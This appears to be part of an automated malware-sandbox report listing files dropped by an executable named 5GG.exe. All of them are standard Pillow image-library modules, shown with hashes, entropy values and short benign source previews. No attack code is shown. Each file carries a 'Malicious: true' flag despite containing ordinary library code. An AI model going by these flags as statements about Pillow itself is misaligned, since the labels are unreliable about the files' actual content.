Preview:	"""..A Pillow loader for .dds files (S3TC-compressed aka DXTC)..Jerome Leclanche <jerome@leclan.ch>....Documentation:..https://web.archive.org/web/20170802060935/http://oss.sgi.com/projects/ogl-sample/registry/EXT/texture_compression_s3tc.txt....The contents of this file are hereby released in the public domain (CC0)..Full text of the CC0 license:..https://creativecommons.org/publicdomain/zero/1.0/.."""..from __future__ import annotations....import io..import struct..import sys..from enum import IntEnum, IntFlag....from . import Image, ImageFile, ImagePalette..from ._binary import i32le as i32..from ._binary import o8..from ._binary import o32le as o32....# Magic ("DDS ")..DDS_MAGIC = 0x20534444......# DDS flags..class DDSD(IntFlag):.. CAPS = 0x1.. HEIGHT = 0x2.. WIDTH = 0x4.. PITCH = 0x8.. PIXELFORMAT = 0x1000.. MIPMAPCOUNT = 0x20000.. LINEARSIZE = 0x80000.. DEPTH = 0x800000......# DDS caps..class DDSCAPS(IntFlag):.. COMPLEX = 0x8.. TEXTURE = 0x1000..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\EpsImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16397
Entropy (8bit):	4.461921123763509
Encrypted:	false
SSDEEP:	192:xj9OHGuM80Wq5SY8UA9A/s1ZvPgyOE/QzgLz/J11RlZNsC6+ais/mEzgDmi2:xZOHG/RkY8UA9TuyQeLlZNs2aP
MD5:	42488012229927506B5A3C1AF626B866
SHA1:	E308E7892E8FCFDF6D952F092FA55FAE98E438B6
SHA-256:	2B40699B13E97363CCBEE9A945B4504497FCC5563CF8C705F4EC529B27239D69
SHA-512:	55603361FCA72BEEBDF0FB8EC36B9A4BE5957F541229674B543E5325F1781C12475F06419636AA71393A2C6D57506B4FA3FB980513DA5AA924B829AB3F15A5C1
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# EPS file handling..#..# History:..# 1995-09-01 fl Created (0.1)..# 1996-05-18 fl Don't choke on "atend" fields, Ghostscript interface (0.2)..# 1996-08-22 fl Don't choke on floating point BoundingBox values..# 1996-08-23 fl Handle files from Macintosh (0.3)..# 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.4)..# 2003-09-07 fl Check gs.close status (from Federico Di Gregorio) (0.5)..# 2014-05-07 e Handling of EPS with binary preview and fixed resolution..# resizing..#..# Copyright (c) 1997-2003 by Secret Labs AB...# Copyright (c) 1995-2003 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..import os..import re..import subprocess..import sys..import tempfile....from . import Image, ImageFile..from ._binary import i32le as i32..from ._deprecate import deprecate....# ------------------------------------------------

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ExifTags.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10134
Entropy (8bit):	4.9928573677776455
Encrypted:	false
SSDEEP:	192:TGzjx/tAKWVRMCuSLunfnU1WYCmTQmpblbpi:kx/tAKmRMCuSWnU1WEb7i
MD5:	A4D001F3A3C04C9DDDF6DE16CF0DD6A0
SHA1:	CC754567773BA3FD978AFFA4082883EC20A167C9
SHA-256:	2EF1DBE20FA7C2B20FD263D8EED19E370E3570B16285CD3E55198D4C00EF2C2A
SHA-512:	8FAD315AB92FCB944AF928DC8D00767C4C83D4503F2F7E89DEF84059E9D172D0C8DDE46822352F6B03EA322A7398AF36601CA68CA41DA4C5117CC87F26136A79
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# EXIF tags..#..# Copyright (c) 2003 by Secret Labs AB..#..# See the README file for information on usage and redistribution...#...."""..This module provides constants and clear-text names for various..well-known EXIF tags..."""..from __future__ import annotations....from enum import IntEnum......class Base(IntEnum):.. # possibly incomplete.. InteropIndex = 0x0001.. ProcessingSoftware = 0x000B.. NewSubfileType = 0x00FE.. SubfileType = 0x00FF.. ImageWidth = 0x0100.. ImageLength = 0x0101.. BitsPerSample = 0x0102.. Compression = 0x0103.. PhotometricInterpretation = 0x0106.. Thresholding = 0x0107.. CellWidth = 0x0108.. CellLength = 0x0109.. FillOrder = 0x010A.. DocumentName = 0x010D.. ImageDescription = 0x010E.. Make = 0x010F.. Model = 0x0110.. StripOffsets = 0x0111.. Orientation = 0x0112.. SamplesPerPixel = 0x0115.. RowsPerStrip = 0x0116.. StripByteCounts = 0x0117.. MinSamp

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\FitsImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2072
Entropy (8bit):	4.7135316229044975
Encrypted:	false
SSDEEP:	48:RqGXH/bkQR0PIp6bm58aSg1V0HqKgSc9d89/dqEksJlwMDtpweA:RxXXuQpkm5h6qKWy8WlwMRpweA
MD5:	E18704A52ED34079875E7D15C7A362DB
SHA1:	4E896650C05E62A51EF13C892C958128F67E5F21
SHA-256:	6D5815195536E5F174D761D67B66E2564E529FC94759F7A5154B3732EEDABB07
SHA-512:	4EA00EF3840688EA6DA4C02D67009B8A07CC068E686E7F07B433AC228667AA7C98E454A0B884640D5728B025B824D613FCE403CBEDFA9A6E6D4882B138126D4E
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# FITS file handling..#..# Copyright (c) 1998-2003 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import math....from . import Image, ImageFile......def _accept(prefix):.. return prefix[:6] == b"SIMPLE"......class FitsImageFile(ImageFile.ImageFile):.. format = "FITS".. format_description = "FITS".... def _open(self):.. headers = {}.. while True:.. header = self.fp.read(80).. if not header:.. msg = "Truncated FITS file".. raise OSError(msg).. keyword = header[:8].strip().. if keyword == b"END":.. break.. value = header[8:].split(b"/")[0].strip().. if value.startswith(b"="):.. value = value[1:].strip().. if not headers and (not _accept(keyword) or value != b"T"):.. msg = "Not a FITS file"

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\FliImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4696
Entropy (8bit):	4.464380659663286
Encrypted:	false
SSDEEP:	96:RjDLfr3ECFe6upURJrpW3RzEci9WUbOZlyNP3l7FFTwtBCpwH/:hEUwhqslyr7D0Zf
MD5:	42B99D07C6B5767A435CA40D65DAFF03
SHA1:	C168C5B4D9120345EB391E7C5739F941A49FBE84
SHA-256:	F30BB2709EADEA8C6D3C5DD9AA82EE7EB410808BD271154AA6C9CF84F824C0A5
SHA-512:	281F54641773556A8AF87E4B993C6AE1F6789631D4237AA20C26807ADFB57CB3D8D99B08487D3E9958E72A21B136EDFF503EF84C2C9AD6474C1808171533319E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# FLI/FLC file handling...#..# History:..# 95-09-01 fl Created..# 97-01-03 fl Fixed parser, setup decoder tile..# 98-07-15 fl Renamed offset attribute to avoid name clash..#..# Copyright (c) Secret Labs AB 1997-98...# Copyright (c) Fredrik Lundh 1995-97...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import os....from . import Image, ImageFile, ImagePalette..from ._binary import i16le as i16..from ._binary import i32le as i32..from ._binary import o8....#..# decoder......def _accept(prefix):.. return (.. len(prefix) >= 6.. and i16(prefix, 4) in [0xAF11, 0xAF12].. and i16(prefix, 14) in [0, 3] # flags.. )......##..# Image plugin for the FLI/FLC animation format. Use the <b>seek</b>..# method to load individual frames.......class FliImageFile(ImageFile.ImageFile):.. format = "FLI".. format_description = "Autodesk F

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\FontFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3727
Entropy (8bit):	4.337722576734217
Encrypted:	false
SSDEEP:	96:RxFtBHelMADTcG27qvuzwCfKrG+TmiCS1a0IkO/:xAOwCfKrGXi7Q
MD5:	ED62229E895DFB1893685B1A0663B4B8
SHA1:	C37A9A9504616C782FFD1AE2A4C76F8CF34F8744
SHA-256:	B17F2E9440A67809D96CC11FB93A4E84EADADF413CCD054B5D7CE814F6B9244E
SHA-512:	1255BEE68E284A3591065511B234D049D85A840BDC32D472312623AEA86E0343E127C60AF32F4D425832F44712F49342C3995BD551A62F5B995FCFB7B8B63509
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# base class for raster font file parsers..#..# history:..# 1997-06-05 fl created..# 1997-08-19 fl restrict image width..#..# Copyright (c) 1997-1998 by Secret Labs AB..# Copyright (c) 1997-1998 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import os..from typing import BinaryIO....from . import Image, _binary....WIDTH = 800......def puti16(.. fp: BinaryIO, values: tuple[int, int, int, int, int, int, int, int, int, int]..) -> None:.. """Write network order (big-endian) 16-bit sequence""".. for v in values:.. if v < 0:.. v += 65536.. fp.write(_binary.o16be(v))......class FontFile:.. """Base class for raster font file handlers.""".... bitmap: Image.Image \| None = None.... def __init__(self) -> None:.. self.info: dict[bytes, bytes \| int] = {}.. self.glyph: list[.. tuple[.. tupl

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\FpxImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7238
Entropy (8bit):	4.458906659354809
Encrypted:	false
SSDEEP:	96:wj33otdgHD8pkNp3cRuHSLr4xarwCJNVVkm4KbpwaNpwDt:JgHDmkX3cUHWEazzp+TZ
MD5:	67A0866CE8C2DC7DC642E4F11CC60C8C
SHA1:	1AF2D19F0C1504DC4C8335E607DB6FA206C5FF45
SHA-256:	9C874273ABC05806D4842EF31A9E08DBA1DD6E4218BC1A65107B43B51804BED7
SHA-512:	6C8473C803E270226FB4E1565EC24CB234E51DC54E4B4505556CAA93ADDB805F52F10FA660F766436ACC4C9E2C34E1F7E3781DD12EC3A7533EBF0BADA05742A9
Malicious:	true
Preview:	#..# THIS IS WORK IN PROGRESS..#..# The Python Imaging Library...# $Id$..#..# FlashPix support for PIL..#..# History:..# 97-01-25 fl Created (reads uncompressed RGB images only)..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1997...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import olefile....from . import Image, ImageFile..from ._binary import i32le as i32....# we map from colour field tuples to (mode, rawmode) descriptors..MODES = {.. # opacity.. (0x00007FFE,): ("A", "L"),.. # monochrome.. (0x00010000,): ("L", "L"),.. (0x00018000, 0x00017FFE): ("RGBA", "LA"),.. # photo YCC.. (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"),.. (0x00028000, 0x00028001, 0x00028002, 0x00027FFE): ("RGBA", "YCCA;P"),.. # standard RGB (NIFRGB).. (0x00030000, 0x00030001, 0x00030002): ("RGB", "RGB"),.. (0x00038000, 0x00038001, 0x00038002, 0x00037FFE): ("RGBA", "RGBA"),..}......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\FtexImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3579
Entropy (8bit):	4.928384802321279
Encrypted:	false
SSDEEP:	96:RxQKQH4iQnORT1Mxeucp86OyN7i2s4S1pBwnw/CwtL:RxVnOp1/pq2q9
MD5:	B7AA028769141158EA7A1140CCF44F34
SHA1:	7601DE13E2B4AEEC24F65E1B1040D0D8E23E39EA
SHA-256:	7D2772B112537B738A224BD3783C8F4CDED4DAD6D96933DFA8A91A484A8D6254
SHA-512:	6C145BDBECF5805C7234E7A7FFB4C61EB539044364CFBDA65096DE24C2E7FB8CA7931711E565B0815DE4BF20D196B0509219EBF7089BD75BBC42449C62635B8D
Malicious:	true
Preview:	"""..A Pillow loader for .ftc and .ftu files (FTEX)..Jerome Leclanche <jerome@leclan.ch>....The contents of this file are hereby released in the public domain (CC0)..Full text of the CC0 license:.. https://creativecommons.org/publicdomain/zero/1.0/....Independence War 2: Edge Of Chaos - Texture File Format - 16 October 2001....The textures used for 3D objects in Independence War 2: Edge Of Chaos are in a..packed custom format called FTEX. This file format uses file extensions FTC..and FTU...* FTC files are compressed textures (using standard texture compression)...* FTU files are not compressed...Texture File Format..The FTC and FTU texture files both use the same format. This..has the following structure:..{header}..{format_directory}..{data}..Where:..{header} = {.. u32:magic,.. u32:version,.. u32:width,.. u32:height,.. u32:mipmap_count,.. u32:format_count..}....* The "magic" number is "FTEX"...* "width" and "height" are the dimensions of the texture...* "mipmap_cou

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\GbrImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3048
Entropy (8bit):	4.76942272102644
Encrypted:	false
SSDEEP:	48:RqiWAowrbkjDm5WiRjP1Djp4Ot0YN61GAZpV9MqKh43rzaCJEUZwpGtCww4:R5WAn/WiZtfp4OTc7zaCEUZwpcCww4
MD5:	966DF4D356FBD5AFB3F41CD05878B85D
SHA1:	CFA293C5CA2A697AD12BE3EE6F31C1C79F5442AC
SHA-256:	4BA25351C0A08D857AB11755ADCF5988F4EBE6470BB95B4F958536D648C0A515
SHA-512:	A487F357530C55444511246BD27B1D6B15E7CAA12817EDEB5FF43E6AAD7930494F8115BDD21C5D324610E20C33B0F51B05781FBD4F73D414D45C45267115B021
Malicious:	true
Preview:	#..# The Python Imaging Library..#..# load a GIMP brush file..#..# History:..# 96-03-14 fl Created..# 16-01-08 es Version 2..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1996...# Copyright (c) Eric Soroos 2016...#..# See the README file for information on usage and redistribution...#..#..# See https://github.com/GNOME/gimp/blob/mainline/devel-docs/gbr.txt for..# format documentation...#..# This code Interprets version 1 and 2 .gbr files...# Version 1 files are obsolete, and should not be used for new..# brushes...# Version 2 files are saved by GIMP v2.8 (at least)..# Version 3 files have a format specifier of 18 for 16bit floats in..# the color depth field. This is currently unsupported by Pillow...from __future__ import annotations....from . import Image, ImageFile..from ._binary import i32be as i32......def _accept(prefix):.. return len(prefix) >= 8 and i32(prefix, 0) >= 20 and i32(prefix, 4) in (1, 2)......##..# Image plugin for t

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\GdImageFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2739
Entropy (8bit):	4.7761615691573365
Encrypted:	false
SSDEEP:	48:RqKeQBDbkonvW9Pbi2y/RjdCDDw9PUiFiy+yNA62WPipz2KCRkR3/d2YLPtGur6B:RjeQBZvW9Pbi2uZdCDs9PUiFiyK62WPN
MD5:	AA5EAF121AD0559BD75DD3480A536611
SHA1:	7D38BE5F1BF7402C86625DC401DFB36D974849B5
SHA-256:	D4FDAD2298DC4376224C6DAE05B48817F7EE116C8BFEA0E4CCF60934C24481C5
SHA-512:	C30FAA55DA2C1339BE5EA1C0E543BD40A0342DF046E0A9B786AA13242B48899308EA7D84D0BAA7927957C5DC6908C31B75F242920AF861A3413D0257F4F7446C
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# GD file handling..#..# History:..# 1996-04-12 fl Created..#..# Copyright (c) 1997 by Secret Labs AB...# Copyright (c) 1996 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#......""".... note::.. This format cannot be automatically recognized, so the.. class is not registered for use with :py:func:`PIL.Image.open()`. To open a.. gd file, use the :py:func:`PIL.GdImageFile.open()` function instead....... warning::.. THE GD FORMAT IS NOT DESIGNED FOR DATA INTERCHANGE. This.. implementation is provided for convenience and demonstrational.. purposes only..."""..from __future__ import annotations....from . import ImageFile, ImagePalette, UnidentifiedImageError..from ._binary import i16be as i16..from ._binary import i32be as i32......class GdImageFile(ImageFile.ImageFile):.. """.. Image plugin for the GD uncompressed format. Note that this format.. is not supported by the s

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\GifImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	38300
Entropy (8bit):	4.363690508669662
Encrypted:	false
SSDEEP:	384:1f3g2uvre73b/D1NNGP9mehbxWBf5YJ7AhP96W569JmnVKyRC6/34xFESU:1fW6rlGR4P97VKQCq
MD5:	C496C2CFAC9DFFCDBB989A2CBAD397E7
SHA1:	77CB5A5BC8BDCA9866A82B5FB216188182C0FD01
SHA-256:	A2AC84F21DDB7301515745A30C78A451F81FE866C57933C4913DE5E3DD75C251
SHA-512:	80721B1820D2ACE4CB52D7B4C6D427A9C973C5BA1D6E72C9AF0DAD482F1B41CA25CC24CC8D51B140A0EE5569C9184E5EA9E12361F647AD91883372075D3A71F4
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# GIF file handling..#..# History:..# 1995-09-01 fl Created..# 1996-12-14 fl Added interlace support..# 1996-12-30 fl Added animation support..# 1997-01-05 fl Added write support, fixed local colour map bug..# 1997-02-23 fl Make sure to load raster data in getdata()..# 1997-07-05 fl Support external decoder (0.4)..# 1998-07-09 fl Handle all modes when saving (0.5)..# 1998-07-15 fl Renamed offset attribute to avoid name clash..# 2001-04-16 fl Added rewind support (seek to frame 0) (0.6)..# 2001-04-17 fl Added palette optimization (0.7)..# 2002-06-06 fl Added transparency support for save (0.8)..# 2004-02-24 fl Disable interlacing for small images..#..# Copyright (c) 1997-2004 by Secret Labs AB..# Copyright (c) 1995-2004 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import itertools..import math..import os..import subprocess..from enum i

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\GimpGradientFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3567
Entropy (8bit):	4.667333284287611
Encrypted:	false
SSDEEP:	48:gqGmf/bkfwMAKRjTb9o3yN2QfzokmjyBjrEkEMj2Lmvl5xFFl+m3XWUf9z11GXBt:gxGIZTbG3Qbokmjy72Lm9VFl+3211Gz
MD5:	C25904D6E08CFCF1415DAE3EB621EC2C
SHA1:	A36E4216A159AAE376B483526599BDEF4751EA0E
SHA-256:	5318B5C523A6C9F1E2E912616F23C3F94BAAEB2BE18AB013F7C463BDD3807B26
SHA-512:	6DC77C64C2E683E2206FF4B091C132CA27C76530022B2A35B5E51A3A3305ECE88ACE98080C57CFE38D1F0A451F2E80C8CD3B7FB63118C5A2BDD9C056E624CFFB
Malicious:	true
Preview:	#..# Python Imaging Library..# $Id$..#..# stuff to read (and render) GIMP gradient files..#..# History:..# 97-08-23 fl Created..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1997...#..# See the README file for information on usage and redistribution...#...."""..Stuff to translate curve segments to palette values (derived from..the corresponding code in GIMP, written by Federico Mena Quintero...See the GIMP distribution for more information.).."""..from __future__ import annotations....from math import log, pi, sin, sqrt....from ._binary import o8....EPSILON = 1e-10.."""""" # Enable auto-doc for data member......def linear(middle, pos):.. if pos <= middle:.. if middle < EPSILON:.. return 0.0.. else:.. return 0.5 * pos / middle.. else:.. pos = pos - middle.. middle = 1.0 - middle.. if middle < EPSILON:.. return 1.0.. else:.. return 0.5 + 0.5 * pos / middle......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\GimpPaletteFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1437
Entropy (8bit):	4.6353059668274845
Encrypted:	false
SSDEEP:	24:ngqu1bIa0hNSkLr+bkuNRHrHTHWAEfREFE72RfSyWtED5RAHmqf+dW6Xu03X:gqGQNSkObkQRHXWl5EFDfSyWODL3hXuE
MD5:	436D860759ECF390C71C357B29C2D226
SHA1:	1D452724B07E3C831F2623C3CABA9B894F98E32F
SHA-256:	98FA89EB4040EBE6D7E5FCDADFDAD2435CC652A32201EAB1F9E457DD946B0F50
SHA-512:	83D9054E3B5022405BCC3FF7EE1A25E5C5A0CEEA7D205ECA8C78071FBE061C5DB537C52282EB5C9F549BEC768373E89BE1793F8924621A91BF1CF10011CCDEB2
Malicious:	true
Preview:	#..# Python Imaging Library..# $Id$..#..# stuff to read GIMP palette files..#..# History:..# 1997-08-23 fl Created..# 2004-09-07 fl Support GIMP 2.0 palette files...#..# Copyright (c) Secret Labs AB 1997-2004. All rights reserved...# Copyright (c) Fredrik Lundh 1997-2004...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import re....from ._binary import o8......class GimpPaletteFile:.. """File handler for GIMP's palette format.""".... rawmode = "RGB".... def __init__(self, fp):.. self.palette = [o8(i) * 3 for i in range(256)].... if fp.readline()[:12] != b"GIMP Palette":.. msg = "not a GIMP palette file".. raise SyntaxError(msg).... for i in range(256):.. s = fp.readline().. if not s:.. break.... # skip fields and comment lines.. if re.match(rb"\w+:\|#", s):.. continue.. if len(s)

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\GribStubImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1660
Entropy (8bit):	4.808458555420699
Encrypted:	false
SSDEEP:	48:RqG26/bkQRjP6gyixp6hW1O+1xqUpQTrKOwlMltCwUMxwgM9B:Rx2kZyg7xpyupQT9wlMzCwUMxwgM9B
MD5:	D34318DE04C181BA027084FA6537AB63
SHA1:	466B8799CE371DC751DFB2D0A5AAAA1362C7B5CC
SHA-256:	D2DABBA9BAA8C75E430711FE2D2A2A9C062668F3106EEE79FAF262B096F13C48
SHA-512:	73772FB0CEFE30332A07D606EDDE94E8A6C865A940DF4F26535D1D9DC11EBDA95D2EA5BB29633F061A993A9659CE763D7D3BC072397174846C3D43875949E4D8
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# GRIB stub adapter..#..# Copyright (c) 1996-2003 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile...._handler = None......def register_handler(handler):.. """.. Install application-specific GRIB image handler..... :param handler: Handler object... """.. global _handler.. _handler = handler......# --------------------------------------------------------------------..# Image adapter......def _accept(prefix):.. return prefix[:4] == b"GRIB" and prefix[7] == 1......class GribStubImageFile(ImageFile.StubImageFile):.. format = "GRIB".. format_description = "GRIB".... def _open(self):.. offset = self.fp.tell().... if not _accept(self.fp.read(8)):.. msg = "Not a GRIB file".. raise SyntaxError(msg).... self.fp.seek(offset).... # make something up.. self._m

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\Hdf5StubImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1663
Entropy (8bit):	4.843344043865557
Encrypted:	false
SSDEEP:	48:RqGF7z/bkQRjP6gtixp6lUXcOo1xqUpQTrKXw5gtCwOxwnA:RxFHZygMxpGU0pQTsw5OCwOxwnA
MD5:	58371770B15B8AE49234C2BA23F0E3A9
SHA1:	1EBBEBF639093261D3BA64C1737CB0D123441693
SHA-256:	4D35997DD7F322128CC1B21ADE50EA714922EF0953F8623724BE1E6FCB7D8B03
SHA-512:	911454BFB299584AF720C7D1E62C519235E4546246ADCA23B89622D567415877D6A5CAA08EBC998C09B6D1ACDC6BFAA6C0F18CF62156BAC3B6DAB8CE8D5CF3C2
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# HDF5 stub adapter..#..# Copyright (c) 2000-2003 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile...._handler = None......def register_handler(handler):.. """.. Install application-specific HDF5 image handler..... :param handler: Handler object... """.. global _handler.. _handler = handler......# --------------------------------------------------------------------..# Image adapter......def _accept(prefix):.. return prefix[:8] == b"\x89HDF\r\n\x1a\n"......class HDF5StubImageFile(ImageFile.StubImageFile):.. format = "HDF5".. format_description = "HDF5".... def _open(self):.. offset = self.fp.tell().... if not _accept(self.fp.read(8)):.. msg = "Not an HDF file".. raise SyntaxError(msg).... self.fp.seek(offset).... # make something up.. self._mode =

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\IcnsImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12396
Entropy (8bit):	4.690233681412163
Encrypted:	false
SSDEEP:	192:NDLAlVGvj0NNpepSj0alhNImDa1Nq/P2NGaej0A4F2CwW5hm8:xjvj0NNp0Sj0UhfDa1Nqn29ej0A0
MD5:	D29BDBAE78EEFC342B7EB87D24ABCDC2
SHA1:	EE1B3E06EB5CB1B782BB501E0DE0757853389976
SHA-256:	7B2A67BF18A564BB686D17CA754A3BDA0749221BE9FDC7483DFEEEF187FB51B0
SHA-512:	97A0316D0148699CDFE80D06C9A73D5FA92601B48DF481EC90AB2A7E7012CBEDCF03B61D3E3A2F479C9B22C4D51EC669B22030899CBDBEA145CB3D41999B754E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# macOS icns file decoder, based on icns.py by Bob Ippolito...#..# history:..# 2004-10-09 fl Turned into a PIL plugin; removed 2.3 dependencies...# 2020-04-04 Allow saving on all operating systems...#..# Copyright (c) 2004 by Bob Ippolito...# Copyright (c) 2004 by Secret Labs...# Copyright (c) 2004 by Fredrik Lundh...# Copyright (c) 2014 by Alastair Houghton...# Copyright (c) 2020 by Pan Jing...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..import os..import struct..import sys....from . import Image, ImageFile, PngImagePlugin, features....enable_jpeg2k = features.check_codec("jpg_2000")..if enable_jpeg2k:.. from . import Jpeg2KImagePlugin....MAGIC = b"icns"..HEADERSIZE = 8......def nextheader(fobj):.. return struct.unpack(">4sI", fobj.read(HEADERSIZE))......def read_32t(fobj, start_length, size):.. # The 128x128 icon seems to have an extra header for

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\IcoImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11930
Entropy (8bit):	4.554318578972516
Encrypted:	false
SSDEEP:	96:RjX6AAgYSOTNle6Ue878chfRmeRg4AuRDqqRoE6Wnk6g7vkHtgRfvBf1SRmDLVFo:FzZh24Abak0+Pzekf4v4V8zooG6f
MD5:	949D79D16FD96299DBFBBAA838889B46
SHA1:	54E56F816458A0501C571F06F801E6DB73284147
SHA-256:	ACD2EE53E9251BA9B780A97A0B919511BCCEA7D5D3AC80806DBDB82C7F9D4D2F
SHA-512:	8E61319F7389DEF9FBA48AC89E1299DE82278DD1B3F0052082231E99C05836688A2F21F942E7BB17EED64D104B0768FB1A324CE390B3E704007852327670084E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# Windows Icon support for PIL..#..# History:..# 96-05-27 fl Created..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1996...#..# See the README file for information on usage and redistribution...#....# This plugin is a refactored version of Win32IconImagePlugin by Bryan Davis..# <casadebender@gmail.com>...# https://code.google.com/archive/p/casadebender/wikis/Win32IconImagePlugin.wiki..#..# Icon format references:..# * https://en.wikipedia.org/wiki/ICO_(file_format)..# * https://msdn.microsoft.com/en-us/library/ms997538.aspx..from __future__ import annotations....import warnings..from io import BytesIO..from math import ceil, log....from . import BmpImagePlugin, Image, ImageFile, PngImagePlugin..from ._binary import i16le as i16..from ._binary import i32le as i32..from ._binary import o8..from ._binary import o16le as o16..from ._binary import o32le as o32....#..# ----------------------------------------

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11275
Entropy (8bit):	4.7383408220573795
Encrypted:	false
SSDEEP:	192:ALPBiyjHQLNobfoDTMvYZhVzYWrKU94GvNgF:Adiy8LNobfoDvvVzY+KU92
MD5:	FB111C91A7419C67E1A2FF09579C5759
SHA1:	40E8773AC2FB66609BEE7C807E2E3032DED89870
SHA-256:	484FF3A82B31B0F08AEAAFC8EA69128AF4AB597F8DC10DE5C316BEE9B7539E2B
SHA-512:	25EB252D952EAECAC490B69F87E4483D9CA60577A314F63C1832D4D479DA44675CC0C0B91DB89A68FCEFF539AFC21EA6976B5C4187C4E622CFCD82FBFBBED8C1
Malicious:	true
